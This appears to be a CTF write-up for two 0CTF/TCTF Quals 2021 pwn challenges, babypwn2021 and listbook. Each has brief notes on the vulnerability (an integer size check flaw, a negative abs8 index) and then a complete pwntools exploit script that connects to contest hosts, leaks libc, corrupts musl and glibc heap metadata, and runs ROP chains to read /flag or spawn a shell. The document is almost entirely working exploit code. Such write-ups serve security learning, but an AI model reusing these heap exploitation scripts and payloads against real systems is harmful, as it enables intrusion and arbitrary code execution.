Pwn challenges in 0CTF/TCTF Qul 2021

babypwn2021

An easy heap challenge on musl.

overflow the heap by edit(n,0x80000000) because only the low 32 bits of edit_size are used to compare to size.

mov     eax, [rbp-10h]
movsxd  rcx, eax

unlink musl chunks to write arbitrary addresss.

modify stdin struct to call leave ret (because data on rbp is in control)

exp:

from pwn import *
#context.log_level='debug'
context.arch='amd64'
context.terminal=['tmux','split','-h']
def cmd(c):
    p.sendlineafter(": ",str(c))
def add(size,c='A'):
    cmd(1)
    cmd(size)
    if(size):
        p.sendlineafter(": ",c)
def edit(idx,size,c="A"*1):
    cmd(2)
    cmd(idx)
    cmd(size)
    if(size):
        p.sendlineafter(": ",c)
def free(idx):
    cmd(3)
    cmd(idx)
def show(idx):
    cmd(4)
    cmd(idx)
#p=process('./pwn')
p=remote("111.186.59.11",11124)
add(0x10)#0
add(0x10)#1
add(0x70)#2
add(0x10)#3
edit(0,0x80000000,b"A"*0x10+p64(0x21)+p64(0x81)+b'\0'*0x70+p64(0x81)+p64(0x21)*4+p64(0x21)[:-1])
free(1)
add(0x10)#1
show(2)
p.readuntil(": ")
base=u64(p.read(8))-(0x7ffff7ffba70-0x7ffff7f4b000)
log.warning(hex(base))
add(0x50)#4
puts=0x7ffff7fa9ed0-0x7ffff7f4b000+base

add(0x10)#5689
add(0x10)#6
add(0x10)#7
add(0x10)#8
add(0x10)#9
free(6)
free(8)
victim=0x00007ffff7ffb170-0x7ffff7f4b000+base
bin_addr=0x00007ffff7ffba40-0x7ffff7f4b000+base
edit(5,0x80000000,b"A"*0x10+p64(0x21)+p64(0x20)+p64(bin_addr)+p64(victim)+p64(0x20)[:-1])
add(0x10)#6
edit(5,0x80000000,b"A"*0x10+p64(0x21)+p64(0x20)+p64(victim)+p64(bin_addr)+p64(0x20)[:-1])
add(0x10)#8
add(0x10)#10
leave=0x0000000000016992+base
yyds=0x7ffff7fa9b30-0x7ffff7f4b000+base
add10=0x0000000000078aea+base
ret=0x7ffff7f61993-0x7ffff7f4b000+base
rax=0x0000000000016a16+base
rdi=0x0000000000015291+base
rsi=0x000000000001d829+base
rdx=0x000000000002cdda+base
system=323456+base
sys=0x7ffff7f94899-0x7ffff7f4b000+base
payload=b'/flag\0\0\0'+p64(rax)+p64(2)+p64(sys)+p64(rax)+p64(0)+p64(rsi)+p64(victim-0x100)+p64(add10)+p64(leave)+p64(0xbadbabe)
test=0x0000000000078aea+base
payload+=p64(rdi)+p64(3)+p64(rdx)+p64(0x100)+p64(test)
payload+=p64(0)*2+p64(sys)+p64(rdi)+p64(1)+p64(rax)+p64(1)+p64(sys)
print(len(payload))
edit(10,0x80000000,payload)
cmd(5)
p.interactive()

listbook

abs8(0x80) <0

add the chunk with the sum of 0x80 would lead to UAF(idx = 0 and 1)

heap fengshui + tcache stash smallbin unlink

from pwn import *
context.arch='amd64'
def cmd(c):
    p.sendlineafter(">>",str(c))
def add(name='\n',c='A\n'):
    cmd(1)
    p.sendafter(">",name)
    p.sendafter(">",c)
def free(idx):
    cmd(2)
    p.sendlineafter(">",str(idx))
def show(idx):
    cmd(3)
    p.sendlineafter(">",str(idx))
#p=process("./pwn")
p=remote("111.186.58.249",20001)
#context.log_level='debug'
context.terminal=['tmux','split','-h']
add()
add("\x10"*0x10)
show(0)
p.readuntil(b"\x10"*0x10)
heap=u64(p.readuntil(" ")[:-1]+b'\0\0')-(0x2a0)
log.warning(hex(heap))
free(0)
add()
add("\1\n")
add("\2\n")
for x in range(7):
    add('\6\n')
free(6)
free(2)
free(0)
add('\x80\n')
show(0)
p.readuntil("=> ")
base=u64(p.readline()[:-1]+b'\0\0')-(0x7ffff7fbade0-0x7ffff7dcf000)
log.warning(hex(base))
for x in range(6):
    add('\2\n')
add('\7\n')
for x in range(3):
    add('\6\n')
for x in range(8):
     add('\4\n')
for x in range(7):
    add('\3\n')
free(3)
free(4)
free(7)
for x in range(6):
    add('\2\n')
for x in range(3):
    add('\4\n')
    free(4)
add('\4\n')
free(0)
add('\n',p64(0x000055555555afd0-0x555555559000+heap)+p64(0x5555555592b0-0x10-0x555555559000+heap)+b'\n')
add('\2\n')
add('\0\n',b'\0'*0x18+p64(0x21)+p64(base+0x1eeb20)+b'\n')
add()
add('\0\n',b'/bin/sh\0'+p64(base+0x55410)+b'\n')
free(0)
p.interactive()